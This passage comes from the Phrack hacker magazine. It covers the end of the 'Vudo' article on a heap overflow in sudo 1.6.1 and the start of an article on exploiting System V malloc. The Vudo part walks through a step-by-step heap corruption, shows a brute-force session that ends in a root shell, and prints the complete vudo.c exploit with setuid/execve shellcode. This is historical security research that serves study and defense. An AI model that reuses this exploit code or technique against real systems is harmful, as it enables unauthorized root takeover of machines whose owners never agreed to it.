In order to allocate the 1500 bytes buffer, whose effective size is
equal to 1504 (request2size(1500)) bytes, malloc(3) carried out the
step[1.2] and returned (at step[1.2.2]) the last chunk in the bin number
79, and therefore left the 0x08072020 chunk alone in this bin.
But once unused, this 1500 bytes buffer was placed back in the bin
number 79 by free(3), at step[4.3], in front of the 0x08072020 chunk
already stored in this bin.
The 6300 bytes buffer was allocated during the step[2.2.1] in malloc(3).
Indeed, the size of the 27468 bytes hole was carefully chosen by the
attacker (via the third argument passed to the Vudo exploit) so that,
once allocated, the 6300 bytes buffer would fill this hole.
Finally, the 6300 bytes buffer was reallocated for less space, during
the step[4.1] of the realloc(3) algorithm. The reallocated buffer was
created in order to hold the msg buffer, and the free chunk processed by
chunk_free() during the step[4.1] of the realloc(3) algorithm was placed
in its doubly-linked list. Since the effective size of this free chunk
is equal to 1504 (request2size(6300) - request2size(4795)) bytes, it was
placed in the bin number 79, in front of the two free chunks already
stored in this bin.
The next series of dlmalloc calls is performed by the first call to
syslog(3), during the execution of the do_syslog() function:
malloc( 192 ): 0x08072028;
malloc( 8192 ): 0x08081460;
realloc( 0x08081460, 997 ): 0x08081460;
free( 0x08072028 );
free( 0x08081460 );
The 192 bytes buffer was allocated during the step[3.1] of the malloc(3)
algorithm, and the processed chunk was the last chunk in the bin number
79 (the 0x08072020 chunk).
Once unused, the 192 bytes buffer was consolidated (at step[4.2] in
free(3)) with the remainder of the previously split 1504 bytes chunk,
and the resulting coalesced chunk was placed back (at step[4.3] in
free(3)) in the bin number 79, in front of the two free chunks already
stored in this bin.
The bk field of the chunk of memory located immediately after the msg
buffer was therefore overwritten by unlink() in order to point to the
chunk 0x08072020.
The next series of dlmalloc calls is performed by the second call to
syslog(3), during the execution of the do_syslog() function:
malloc( 192 ): 0x080726b0;
malloc( 8192 ): 0x08081460;
realloc( 0x08081460, 1018 ): 0x08081460;
free( 0x080726b0 );
free( 0x08081460 );
The 192 bytes buffer was allocated during the step[3.1] of the malloc(3)
algorithm, and the processed chunk was the last chunk in the bin number
79 (the 0x080726a8 chunk).
The bk field of the bin number 79 (the pointer to the last free chunk in
the associated doubly-linked list) was therefore overwritten by unlink()
with a pointer to the chunk of memory located immediately after the end
of the msg buffer.
Once unused, the 192 bytes buffer was consolidated (at step[4.2] in
free(3)) with the remainder of the previously split 1504 bytes chunk,
and the resulting coalesced chunk was placed back (at step[4.3] in
free(3)) in the bin number 79, in front of the two free chunks already
stored in this bin.
As soon as this second call to syslog(3) was completed, the loop[7] of
the do_syslog() function pushed the pointer p after the terminating NUL
character associated with the msg buffer, until p pointed to the first
SPACE character encountered. This first encountered SPACE character was
of course the least significant byte of the bk field (still equal to
0x08072020) associated with the chunk located immediately after msg.
The do_syslog() function successfully passed the test[2] since no NUL
byte was found between p and (p + MAXSYSLOGLEN) (indeed, this memory
area is filled with the content of the previously allocated and freed
27468 bytes buffer: pointers to the environment variables passed to Sudo
by the exploit, and these environment variables were constructed by the
exploit in order to avoid NUL and SPACE characters in their addresses).
The byte overwritten with a NUL byte at line[5] in do_syslog() is the
first encountered SPACE character when looping from (p + MAXSYSLOGLEN)
down to p. Of course, this first encountered SPACE character was the
second byte of the bk field (equal to 0x08072020) associated with the
chunk located immediately after msg, since no other SPACE character
could be found in the memory area between p and (p + MAXSYSLOGLEN), as
detailed above.
The bk field of the chunk located immediately after msg was therefore
corrupted (its new value is equal to 0x08070020), in order to point to
the very middle of the copy the SHELL environment variable mentioned
above, before the next series of dlmalloc calls, performed by the third
call to syslog(3), were carried out:
malloc( 192 ): 0x08079218;
malloc( 8192 ): 0x08081460;
realloc( 0x08081460, 90 ): 0x08081460;
free( 0x08079218 );
free( 0x08081460 );
The 192 bytes buffer was allocated during the step[3.1] of the malloc(3)
algorithm, and the processed chunk was the last chunk in the bin number
79 (the chunk located immediately after msg).
The bk field of the bin number 79 (the pointer to the last free chunk in
the associated doubly-linked list) was therefore overwritten by unlink()
with the corrupted bk field of the chunk located immediately after msg.
Once unused, the 192 bytes buffer was consolidated (at step[4.2] in
free(3)) with the remainder of the previously split 1504 bytes chunk,
and the resulting coalesced chunk was placed back (at step[4.3] in
free(3)) in the bin number 79, in front of the two free chunks already
stored in this bin (but one of these two chunks is of course a fake
chunk pointed to by the corrupted bk field 0x08070020).
Before the next series of dlmalloc calls is performed, by the fourth
call to syslog(3), the erroneously overwritten SPACE character was
restored at line[6] by do_syslog(), but since the corrupted bk pointer
was copied to the bk field of the bin number 79 before, the Vudo exploit
managed to permanently damage the internal structures used by dlmalloc:
malloc( 192 ): 0xbfffff1e;
malloc( 8192 ):
In order to allocate the 192 bytes buffer, the step[1.2] of the
malloc(3) algorithm was carried out, and an imaginary chunk of memory,
pointed to by the corrupted bk field, stored in the very middle of the
copy of the SHELL environment variable, was processed. But since this
fake chunk was too small (indeed, its size field is equal to 0xbfffff1e,
a negative integer), its bk field (equal to 0xbfffff1e) was followed, to
another fake chunk of memory stored on the stack, whose size is exactly
200 (request2size(192)) bytes.
This fake chunk was therefore taken off its imaginary doubly-linked
list, allowing the attacker to apply the unlink() technique described in
3.6.1 and to overwrite the __malloc_hook debugging hook with the address
of a special shellcode stored somewhere in the heap (in order to bypass
the Linux kernel patch from the Openwall Project).
This shellcode was subsequently executed, at the beginning of the last
call to malloc(3), since the corrupted __malloc_hook debugging hook was
read and executed.
----[ 4.2 - The practice ]----------------------------------------------
In order to successfully gain root privileges via the Vudo exploit, a
user does not necessarily need to be present in the sudoers file, but
has to know their user password. They need additionally to provide three
command line arguments:
- the address of the __malloc_hook function pointer, which varies from
one system to another but can be determined;
- the size of the tz buffer, which varies slightly from one system to
another and has to be brute forced;
- the size of the envp buffer, which varies slightly from one system to
another and has to be brute forced.
A typical Vudo cult^H^H^H^Hsession starts with an authentication step,
a __malloc_hook computation step, and eventually a brute force step,
based on the tz and envp examples provided by the Vudo usage message
(fortunately the user does not need to provide their password each time
Sudo is executed during the brute force step because they authenticated
right before):
$ /usr/bin/sudo www.MasterSecuritY.fr
Password:
maxx is not in the sudoers file. This incident will be reported.
$ LD_TRACE_LOADED_OBJECTS=1 /usr/bin/sudo | grep /lib/libc.so.6
libc.so.6 => /lib/libc.so.6 (0x00161000)
$ nm /lib/libc.so.6 | grep __malloc_hook
000ef1dc W __malloc_hook
$ perl -e 'printf "0x%08x\n", 0x00161000 + 0x000ef1dc'
0x002501dc
$ for tz in `seq 62587 8 65531`
do
for envp in `seq 6862 2 6874`
do
./vudo 0x002501dc $tz $envp
done
done
maxx is not in the sudoers file. This incident will be reported.
maxx is not in the sudoers file. This incident will be reported.
maxx is not in the sudoers file. This incident will be reported.
maxx is not in the sudoers file. This incident will be reported.
maxx is not in the sudoers file. This incident will be reported.
maxx is not in the sudoers file. This incident will be reported.
maxx is not in the sudoers file. This incident will be reported.
maxx is not in the sudoers file. This incident will be reported.
maxx is not in the sudoers file. This incident will be reported.
maxx is not in the sudoers file. This incident will be reported.
bash#
<++> vudo.c !32ad14e5
/*
* vudo.c versus Red Hat Linux/Intel 6.2 (Zoot) sudo-1.6.1-1
* Copyright (C) 2001 Michel "MaXX" Kaempf <maxx@synnergy.net>
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or (at
* your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
* USA
*/
#include <limits.h>
#include <paths.h>
#include <pwd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
typedef struct malloc_chunk {
size_t prev_size;
size_t size;
struct malloc_chunk * fd;
struct malloc_chunk * bk;
} * mchunkptr;
#define SIZE_SZ sizeof(size_t)
#define MALLOC_ALIGNMENT ( SIZE_SZ + SIZE_SZ )
#define MALLOC_ALIGN_MASK ( MALLOC_ALIGNMENT - 1 )
#define MINSIZE sizeof(struct malloc_chunk)
/* shellcode */
#define sc \
/* jmp */ \
"\xeb\x0appssssffff" \
/* setuid */ \
"\x31\xdb\x89\xd8\xb0\x17\xcd\x80" \
/* setgid */ \
"\x31\xdb\x89\xd8\xb0\x2e\xcd\x80" \
/* execve */ \
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \
"\x80\xe8\xdc\xff\xff\xff/bin/sh"
#define MAX_UID_T_LEN 10
#define MAXSYSLOGLEN 960
#define IFCONF_BUF r2s( 8200 )
#define SUDOERS_FP r2s( 176 )
#define VASPRINTF r2s( 6300 )
#define VICTIM_SIZE r2s( 1500 )
#define SUDO "/usr/bin/sudo"
#define USER_CWD "/"
#define MESSAGE 19 /* "command not allowed" or "user NOT in sudoers" */
#define USER_ARGS ( VASPRINTF-VICTIM_SIZE-SIZE_SZ - 1 - (MAXSYSLOGLEN+1) )
#define PREV_SIZE 0x5858614d
#define SIZE r2s( 192 )
#define SPACESPACE 0x08072020
#define POST_PS1 ( r2s(16) + r2s(640) + r2s(400) )
#define BK ( SPACESPACE - POST_PS1 + SIZE_SZ - sizeof(sc) )
#define STACK ( 0xc0000000 - 4 )
#define PRE_SHELL "SHELL="
#define MAXPATHLEN 4095
#define SHELL ( MAXPATHLEN - 1 )
#define PRE_SUDO_PS1 "SUDO_PS1="
#define PRE_TZ "TZ="
#define LIBC "/lib/libc.so.6"
#define TZ_FIRST ( MINSIZE - SIZE_SZ - 1 )
#define TZ_STEP ( MALLOC_ALIGNMENT / sizeof(char) )
#define TZ_LAST ( 0x10000 - SIZE_SZ - 1 )
#define POST_IFCONF_BUF (r2s(1600)+r2s(40)+r2s(16386)+r2s(3100)+r2s(6300))
#define ENVP_FIRST ( ((POST_IFCONF_BUF - SIZE_SZ) / sizeof(char *)) - 1 )
#define ENVP_STEP ( MALLOC_ALIGNMENT / sizeof(char *) )
/* request2size() */
size_t
r2s( size_t request )
{
size_t size;
size = request + ( SIZE_SZ + MALLOC_ALIGN_MASK );
if ( size < (MINSIZE + MALLOC_ALIGN_MASK) ) {
size = MINSIZE;
} else {
size &= ~MALLOC_ALIGN_MASK;
}
return( size );
}
/* nul() */
int
nul( size_t size )
{
char * p = (char *)( &size );
if ( p[0] == '\0' || p[1] == '\0' || p[2] == '\0' || p[3] == '\0' ) {
return( -1 );
}
return( 0 );
}
/* nul_or_space() */
int
nul_or_space( size_t size )
{
char * p = (char *)( &size );
if ( p[0] == '\0' || p[1] == '\0' || p[2] == '\0' || p[3] == '\0' ) {
return( -1 );
}
if ( p[0] == ' ' || p[1] == ' ' || p[2] == ' ' || p[3] == ' ' ) {
return( -1 );
}
return( 0 );
}
typedef struct vudo_s {
/* command line */
size_t __malloc_hook;
size_t tz;
size_t envp;
size_t setenv;
size_t msg;
size_t buf;
size_t NewArgv;
/* execve */
char ** execve_argv;
char ** execve_envp;
} vudo_t;
/* vudo_setenv() */
size_t
vudo_setenv( uid_t uid )
{
struct passwd * pw;
size_t setenv;
char idstr[ MAX_UID_T_LEN + 1 ];
/* pw */
pw = getpwuid( uid );
if ( pw == NULL ) {
return( 0 );
}
/* SUDO_COMMAND */
setenv = r2s( 16 );
/* SUDO_USER */
setenv += r2s( strlen("SUDO_USER=") + strlen(pw->pw_name) + 1 );
setenv += r2s( 16 );
/* SUDO_UID */
sprintf( idstr, "%ld", (long)(pw->pw_uid) );
setenv += r2s( strlen("SUDO_UID=") + strlen(idstr) + 1 );
setenv += r2s( 16 );
/* SUDO_GID */
sprintf( idstr, "%ld", (long)(pw->pw_gid) );
setenv += r2s( strlen("SUDO_GID=") + strlen(idstr) + 1 );
setenv += r2s( 16 );
return( setenv );
}
/* vudo_msg() */
size_t
vudo_msg( vudo_t * p_v )
{
size_t msg;
msg = ( MAXSYSLOGLEN + 1 ) - strlen( "shell " ) + 3;
msg *= sizeof(char *);
msg += SIZE_SZ - IFCONF_BUF + p_v->setenv + SUDOERS_FP + VASPRINTF;
msg /= sizeof(char *) + 1;
return( msg );
}
/* vudo_buf() */
size_t
vudo_buf( vudo_t * p_v )
{
size_t buf;
buf = VASPRINTF - VICTIM_SIZE - p_v->msg;
return( buf );
}
/* vudo_NewArgv() */
size_t
vudo_NewArgv( vudo_t * p_v )
{
size_t NewArgv;
NewArgv = IFCONF_BUF-VICTIM_SIZE-p_v->setenv-SUDOERS_FP-p_v->buf;
return( NewArgv );
}
/* vudo_execve_argv() */
char **
vudo_execve_argv( vudo_t * p_v )
{
size_t pudding;
char ** execve_argv;
char * p;
char * user_tty;
size_t size;
char * user_runas;
int i;
char * user_args;
/* pudding */
pudding = ( (p_v->NewArgv - SIZE_SZ) / sizeof(char *) ) - 3;
/* execve_argv */
execve_argv = malloc( (4 + pudding + 2) * sizeof(char *) );
if ( execve_argv == NULL ) {
return( NULL );
}
/* execve_argv[ 0 ] */
execve_argv[ 0 ] = SUDO;
/* execve_argv[ 1 ] */
execve_argv[ 1 ] = "-s";
/* execve_argv[ 2 ] */
execve_argv[ 2 ] = "-u";
/* user_tty */
if ( (p = ttyname(STDIN_FILENO)) || (p = ttyname(STDOUT_FILENO)) ) {
if ( strncmp(p, _PATH_DEV, sizeof(_PATH_DEV) - 1) == 0 ) {
p += sizeof(_PATH_DEV) - 1;
}
user_tty = p;
} else {
user_tty = "unknown";
}
/* user_cwd */
if ( chdir(USER_CWD) == -1 ) {
return( NULL );
}
/* user_runas */
size = p_v->msg;
size -= MESSAGE;
size -= strlen( " ; TTY= ; PWD= ; USER= ; COMMAND=" );
size -= strlen( user_tty );
size -= strlen( USER_CWD );
user_runas = malloc( size + 1 );
if ( user_runas == NULL ) {
return( NULL );
}
memset( user_runas, 'M', size );
user_runas[ size ] = '\0';
/* execve_argv[ 3 ] */
execve_argv[ 3 ] = user_runas;
/* execve_argv[ 4 ] .. execve_argv[ (4 + pudding) - 1 ] */
for ( i = 4; i < 4 + pudding; i++ ) {
execve_argv[ i ] = "";
}
/* user_args */
user_args = malloc( USER_ARGS + 1 );
if ( user_args == NULL ) {
return( NULL );
}
memset( user_args, 'S', USER_ARGS );
user_args[ USER_ARGS ] = '\0';
/* execve_argv[ 4 + pudding ] */
execve_argv[ 4 + pudding ] = user_args;
/* execve_argv[ (4 + pudding) + 1 ] */
execve_argv[ (4 + pudding) + 1 ] = NULL;
return( execve_argv );
}
/* vudo_execve_envp() */
char **
vudo_execve_envp( vudo_t * p_v )
{
size_t fd;
char * chunk;
size_t post_pudding;
int i;
size_t pudding;
size_t size;
char * post_chunk;
size_t p_chunk;
char * shell;
char * p;
char * sudo_ps1;
char * tz;
char ** execve_envp;
size_t stack;
/* fd */
fd = p_v->__malloc_hook - ( SIZE_SZ + SIZE_SZ + sizeof(mchunkptr) );
/* chunk */
chunk = malloc( MINSIZE + 1 );
if ( chunk == NULL ) {
return( NULL );
}
( (mchunkptr)chunk )->prev_size = PREV_SIZE;
( (mchunkptr)chunk )->size = SIZE;
( (mchunkptr)chunk )->fd = (mchunkptr)fd;
( (mchunkptr)chunk )->bk = (mchunkptr)BK;
chunk[ MINSIZE ] = '\0';
/* post_pudding */
post_pudding = 0;
for ( i = 0; i < MINSIZE + 1; i++ ) {
if ( chunk[i] == '\0' ) {
post_pudding += 1;
}
}
/* pudding */
pudding = p_v->envp - ( 3 + post_pudding + 2 );
/* post_chunk */
size = ( SIZE - 1 ) - 1;
while ( nul(STACK - sizeof(SUDO) - (size + 1) - (MINSIZE + 1)) ) {
size += 1;
}
post_chunk = malloc( size + 1 );
if ( post_chunk == NULL ) {
return( NULL );
}
memset( post_chunk, 'Y', size );
post_chunk[ size ] = '\0';
/* p_chunk */
p_chunk = STACK - sizeof(SUDO) - (strlen(post_chunk)+1) - (MINSIZE+1);
/* shell */
shell = malloc( strlen(PRE_SHELL) + SHELL + 1 );
if ( shell == NULL ) {
return( NULL );
}
p = shell;
memcpy( p, PRE_SHELL, strlen(PRE_SHELL) );
p += strlen( PRE_SHELL );
while ( p < shell + strlen(PRE_SHELL) + (SHELL & ~(SIZE_SZ-1)) ) {
*((size_t *)p) = p_chunk;
p += SIZE_SZ;
}
while ( p < shell + strlen(PRE_SHELL) + SHELL ) {
*(p++) = '2';
}
*p = '\0';
/* sudo_ps1 */
size = p_v->buf;
size -= POST_PS1 + VICTIM_SIZE;
size -= strlen( "PS1=" ) + 1 + SIZE_SZ;
sudo_ps1 = malloc( strlen(PRE_SUDO_PS1) + size + 1 );
if ( sudo_ps1 == NULL ) {
return( NULL );
}
memcpy( sudo_ps1, PRE_SUDO_PS1, strlen(PRE_SUDO_PS1) );
memset( sudo_ps1 + strlen(PRE_SUDO_PS1), '0', size + 1 - sizeof(sc) );
strcpy( sudo_ps1 + strlen(PRE_SUDO_PS1) + size + 1 - sizeof(sc), sc );
/* tz */
tz = malloc( strlen(PRE_TZ) + p_v->tz + 1 );
if ( tz == NULL ) {
return( NULL );
}
memcpy( tz, PRE_TZ, strlen(PRE_TZ) );
memset( tz + strlen(PRE_TZ), '0', p_v->tz );
tz[ strlen(PRE_TZ) + p_v->tz ] = '\0';
/* execve_envp */
execve_envp = malloc( p_v->envp * sizeof(char *) );
if ( execve_envp == NULL ) {
return( NULL );
}
/* execve_envp[ p_v->envp - 1 ] */
execve_envp[ p_v->envp - 1 ] = NULL;
/* execve_envp[3+pudding] .. execve_envp[(3+pudding+post_pudding)-1] */
p = chunk;
for ( i = 3 + pudding; i < 3 + pudding + post_pudding; i++ ) {
execve_envp[ i ] = p;
p += strlen( p ) + 1;
}
/* execve_envp[ 3 + pudding + post_pudding ] */
execve_envp[ 3 + pudding + post_pudding ] = post_chunk;
/* execve_envp[ 0 ] */
execve_envp[ 0 ] = shell;
/* execve_envp[ 1 ] */
execve_envp[ 1 ] = sudo_ps1;
/* execve_envp[ 2 ] */
execve_envp[ 2 ] = tz;
/* execve_envp[ 3 ] .. execve_envp[ (3 + pudding) - 1 ] */
i = 3 + pudding;
stack = p_chunk;
while ( i-- > 3 ) {
size = 0;
while ( nul_or_space(stack - (size + 1)) ) {
size += 1;
}
if ( size == 0 ) {
execve_envp[ i ] = "";
} else {
execve_envp[ i ] = malloc( size + 1 );
if ( execve_envp[i] == NULL ) {
return( NULL );
}
memset( execve_envp[i], '1', size );
( execve_envp[ i ] )[ size ] = '\0';
}
stack -= size + 1;
}
return( execve_envp );
}
/* usage() */
void
usage( char * fn )
{
printf(
"%s versus Red Hat Linux/Intel 6.2 (Zoot) sudo-1.6.1-1\n",
fn
);
printf(
"Copyright (C) 2001 Michel \"MaXX\" Kaempf <maxx@synnergy.net>\n"
);
printf( "\n" );
printf( "* Usage: %s __malloc_hook tz envp\n", fn );
printf( "\n" );
printf( "* Example: %s 0x002501dc 62595 6866\n", fn );
printf( "\n" );
printf( "* __malloc_hook:\n" );
printf( " $ LD_TRACE_LOADED_OBJECTS=1 %s | grep %s\n", SUDO, LIBC );
printf( " $ objdump --syms %s | grep __malloc_hook\n", LIBC );
printf( " $ nm %s | grep __malloc_hook\n", LIBC );
printf( "\n" );
printf( "* tz:\n" );
printf( " - first: %u\n", TZ_FIRST );
printf( " - step: %u\n", TZ_STEP );
printf( " - last: %u\n", TZ_LAST );
printf( "\n" );
printf( "* envp:\n" );
printf( " - first: %u\n", ENVP_FIRST );
printf( " - step: %u\n", ENVP_STEP );
}
/* main() */
int
main( int argc, char * argv[] )
{
vudo_t vudo;
/* argc */
if ( argc != 4 ) {
usage( argv[0] );
return( -1 );
}
/* vudo.__malloc_hook */
vudo.__malloc_hook = strtoul( argv[1], NULL, 0 );
if ( vudo.__malloc_hook == ULONG_MAX ) {
return( -1 );
}
/* vudo.tz */
vudo.tz = strtoul( argv[2], NULL, 0 );
if ( vudo.tz == ULONG_MAX ) {
return( -1 );
}
/* vudo.envp */
vudo.envp = strtoul( argv[3], NULL, 0 );
if ( vudo.envp == ULONG_MAX ) {
return( -1 );
}
/* vudo.setenv */
vudo.setenv = vudo_setenv( getuid() );
if ( vudo.setenv == 0 ) {
return( -1 );
}
/* vudo.msg */
vudo.msg = vudo_msg( &vudo );
/* vudo.buf */
vudo.buf = vudo_buf( &vudo );
/* vudo.NewArgv */
vudo.NewArgv = vudo_NewArgv( &vudo );
/* vudo.execve_argv */
vudo.execve_argv = vudo_execve_argv( &vudo );
if ( vudo.execve_argv == NULL ) {
return( -1 );
}
/* vudo.execve_envp */
vudo.execve_envp = vudo_execve_envp( &vudo );
if ( vudo.execve_envp == NULL ) {
return( -1 );
}
/* execve */
execve( (vudo.execve_argv)[0], vudo.execve_argv, vudo.execve_envp );
return( -1 );
}
<-->
--[ 5 - Acknowledgements ]----------------------------------------------
Thanks to Todd Miller for the fascinating vulnerability, thanks to
Chris Wilson for the vulnerability discovery, thanks to Doug Lea for
the excellent allocator, and thanks to Solar Designer for the unlink()
technique.
Thanks to Synnergy for the invaluable support, the various operating
systems, and the great patience... thanks for everything. Thanks to VIA
(and especially to BBP and Kaliban) and thanks to the eXperts group (and
particularly to Fred and Nico) for the careful (painful? :) rereading.
Thanks to the antiSecurity movement (and peculiarly to JimJones and
Portal) for the interesting discussions of disclosure issues. Thanks
to MasterSecuritY since my brain worked unconsciously on the Sudo
vulnerability during work time :)
Thanks to Phrack for the professional work, and greets to superluck ;)
--[ 6 - Outroduction ]--------------------------------------------------
I stand up next to a mountain and chop it down with the edge of my hand.
-- Jimi Hendrix (Voodoo Chile (slight return))
The voodoo, who do, what you don't dare do people.
-- The Prodigy (Voodoo People)
I do Voodoo, but not on You
-- efnet.vuurwerk.nl
|=[ EOF ]=---------------------------------------------------------------=|
--------------------------------------------------------------------------------
==Phrack Inc.==
Volume 0x0b, Issue 0x39, Phile #0x09 of 0x12
|=---------------------=[ Once upon a free()... ]=-----------------------=|
|=-----------------------------------------------------------------------=|
|=--------------=[ anonymous <d45a312a@author.phrack.org> ]=-------------=|
On the Unix system, and later in the C standard library there are functions
to handle variable amounts of memory in a dynamic way. This allows programs
to dynamically request memory blocks from the system. The operating system
only provides a very rough system call 'brk' to change the size of a big
memory chunk, which is known as the heap.
On top of this system call the malloc interface is located, which provides
a layer between the application and the system call. It can dynamically
split the large single block into smaller chunks, free those chunks on
request of the application and avoid fragmentation while doing so. You can
compare the malloc interface to a linear file system on a large, but
dynamically sized raw device.
There are a few design goals which have to be met by the malloc interface:
- stability
- performance
- avoidance of fragmentation
- low space overhead
There are only a few common malloc implementations. The most common ones
are the System V one, implemented by AT&T, the GNU C Library implementation
and the malloc-similar interface of the Microsoft operating systems
(RtlHeap*).
Here is a table of algorithms and which operating systems use them:
Algorithm | Operating System
------------------------+--------------------------------------------------
BSD kingsley | 4.4BSD, AIX (compatibility), Ultrix
BSD phk | BSDI, FreeBSD, OpenBSD
GNU Lib C (Doug Lea) | Hurd, Linux
System V AT&T | Solaris, IRIX
Yorktown | AIX (default)
RtlHeap* | Microsoft Windows *
------------------------+--------------------------------------------------
It is interesting to see that most of the malloc implementations are very
easy to port and that they are architecture independent. Most of those
implementations just build an interface with the 'brk' system call. You can
change this behaviour with a #define. All of the implementations I have
come across are written in ANSI C and just do very minimal or even no
sanity checking. Most of them have a special compilation define that
includes asserts and extra checks. Those are turned off by default in the
final build for performance reasons. Some of the implementations also
offer extra reliability checks that will detect buffer overflows. Those
are made to detect overflows while development, not to stop exploitation
in the final release.
Storing management info in-band
Most malloc implementations share the behaviour of storing their own
management information, such as lists of used or free blocks, sizes of
memory blocks and other useful data within the heap space itself. Since the
whole idea of malloc/free is based on the dynamic requirements the
application has, the management info itself occupies a variable amount of
data too. Because of this, the implementation can seldomly just reserve a
certain amount of memory for its own purposes, but stores the management
information "in-band", right after and before the blocks of memory that are
used by the application.
Some applications do request a block of memory using the malloc interface,
which later happens to be vulnerable to a buffer overflow. This way, the
data behind the chunk can be changed. Possibly the malloc management
structures can be compromised. This has been demonstrated first by Solar
Designer's wizard-like exploit [1].
The central attack of exploiting malloc allocated buffer overflows is to
modify this management information in a way that will allow arbitrary
memory overwrites afterwards. This way pointers can be overwritten within
the writeable process memory, hence allowing modification of return
addresses, linkage tables or application level data.
To mount such an attack, we have to take a deep look within the internal
workings of the implementation we want to exploit. This article discusses
the commonly used GNU C Library and the System V implementation and how to
gain control over a process using buffer overflows which occur in malloced
buffers under Linux, Solaris and IRIX systems.
System V malloc implementation
==============================
IRIX and Solaris use an implementation which is based on self-adjusting
binary trees. The theoretical background of this implementation has been
described in [2].
The basic idea of this implementation is to keep lists of equally sized
malloc chunks within a binary tree. If you allocate two chunks of the
same size, they will be within the same node and within the same list of this
node. The tree is ordered by the size of its elements.
The TREE structure
The definition of the TREE structure can be found in the mallint.h, along
with some easy-to-use macros to access its elements. The mallint.h file
can be found in the source distribution of the Solaris operating system
[4]. Although I cannot verify that IRIX is based on the same source, there
are several similarities which indicated this. The malloc interface
internally creates the same memory layout and functions, besides some 64
bit alignments. You can utilize the Solaris source for your IRIX exploits,
too.
To allow each tree element to be used for a different purpose to avoid
overhead and force an alignment, each TREE structure element is defined
as a union:
/* the proto-word; size must be ALIGN bytes */
typedef union _w_ {
size_t w_i; /* an unsigned int */
struct _t_ *w_p; /* a pointer */
char w_a[ALIGN]; /* to force size */
} WORD;
Central TREE structure definition:
/* structure of a node in the free tree */
typedef struct _t_ {
WORD t_s; /* size of this element */
WORD t_p; /* parent node */
WORD t_l; /* left child */
WORD t_r; /* right child */
WORD t_n; /* next in link list */
WORD t_d; /* dummy to reserve space for self-pointer */
} TREE;
The 't_s' element of the chunk header contains the rounded up value of the
size the user requested when he called malloc. Since this size is always
rounded up to a word boundary, at least the lower two bits of the 't_s'
elements are unused - they normally would have the value of zero all the
time. Instead of being zero, they are ignored for all size-related
operations. They are used as flag elements.
From the malloc.c source it reads:
BIT0: 1 for busy (block is in use), 0 for free.
BIT1: if the block is busy, this bit is 1 if the preceding block in
contiguous memory is free. Otherwise, it is always 0.
TREE Access macros:
/* usable # of bytes in the block */
#define SIZE(b) (((b)->t_s).w_i)
/* free tree pointers */
#define PARENT(b) (((b)->t_p).w_p)
#define LEFT(b) (((b)->t_l).w_p)
#define RIGHT(b) (((b)->t_r).w_p)
/* forward link in lists of small blocks */
#define AFTER(b) (((b)->t_p).w_p)
/* forward and backward links for lists in the tree */
#define LINKFOR(b) (((b)->t_n).w_p)
#define LINKBAK(b) (((b)->t_p).w_p)
For all allocation operations a certain alignment and minimum size is
enforced, which is defined here:
#define WORDSIZE (sizeof (WORD))
#define MINSIZE (sizeof (TREE) - sizeof (WORD))
#define ROUND(s) if (s % WORDSIZE) s += (WORDSIZE - (s % WORDSIZE))
The tree structure is the central element of each allocated chunk. Normally
only the 't_s' and 't_p' elements are used, and user data is stored from
't_l' on. Once the node is freed, this changes and the data is reused to
manage the free elements more efficiently. The chunk represents an element
within the splay tree. As more chunks get freed, the malloc implementation
tries to merge the free chunks right next to it. At most FREESIZE (32 by
default) chunks can be in this dangling free state at the same time. They
are all stored within the 'flist' array. If a call to free is made while
the list is already full, the old element at this place falls out and is
forwarded to realfree. The place is then occupied by the newly freed
element.
This is done to speed up and avoid defragmentation in cases where a lot of
calls to free are made in a row. The real merging process is done by
realfree. It inserts the chunk into the central tree, which starts at the
'Root' pointer. The tree is ordered by the size of its elements and
is self-balancing. It is a so called "splay tree", in which the elements
cycle in a special way to speed up searches (see google.com "splay tree"
for further information). This is not much of importance here, but keep in
mind that there are two stages of free chunks: one being within the flist
array, and one within the free-elements tree starting at 'Root'.
There are some special management routines for allocating small chunks of
memory, which happen to have a size below 40 bytes. Those are not
considered here, but the basic idea is to have extra lists of them, not
keeping them within a tree but in lists, one for each WORD matching size
below 40.
There is more than one way to exploit a malloc based buffer overflow,
however here is one method which works against both, IRIX and Solaris.
As a chunk is realfree'd, it is checked whether the neighbor-chunks are
already within the realfree'd tree. If it is the case, the only thing
that has to be done is to logically merge the two chunks and reorder its
position within the tree, as the size has changed.
This merging process involves pointer modification within the tree, which
consists of nodes. These nodes are represented by the chunk header
itself. Pointers to other tree elements are stored there. If we can
overwrite them, we can possibly modify the operation when merging the
chunks.
Here is, how it is done in malloc.c:
(modified to show the interesting part of it)
static void
realfree(void *old)
{
TREE *tp, *sp, *np;
size_t ts, size;
/* pointer to the block */
tp = BLOCK(old);
ts = SIZE(tp);
if (!ISBIT0(ts))
return;
CLRBITS01(SIZE(tp));
/* see if coalescing with next block is warranted */
np = NEXT(tp);
if (!ISBIT0(SIZE(np))) {
if (np != Bottom)
t_delete(np);
SIZE(tp) += SIZE(np) + WORDSIZE;
}
We remember NEXT points to the chunk directly following the current one. So
we have this memory layout:
tp old np
| | |
[chunk A header] [chunk A data] | [chunk B or free ....]
|
chunk boundary
In the usual situation the application has allocated some space and got a
pointer (old) from malloc. It then messes up and allows a buffer overflow
of the chunk data. We cross the chunk boundary by overflowing and hit the
data behind, which is either free space or another used chunk.
np = NEXT(tp);
Since we can only overflow data behind 'old', we cannot modify the header
of our own chunk. Therefore we cannot influence the 'np' pointer in any
way. It always points to the chunk boundary.
Now a check is made to test if it is possible to merge forward, that is our
chunk and the chunk behind it. Remember that we can control the chunk
to the right of us.
if (!ISBIT0(SIZE(np))) {
if (np != Bottom)
t_delete(np);
SIZE(tp) += SIZE(np) + WORDSIZE;
}
BIT0 is zero if the chunk is free and within the free elements tree. So if
it is free and not the last chunk, the special 'Bottom' chunk, it is
deleted from the tree. Then the sizes of both chunks are added and later in
the code of the realfree function the whole resized chunk is reinserted
into the tree.
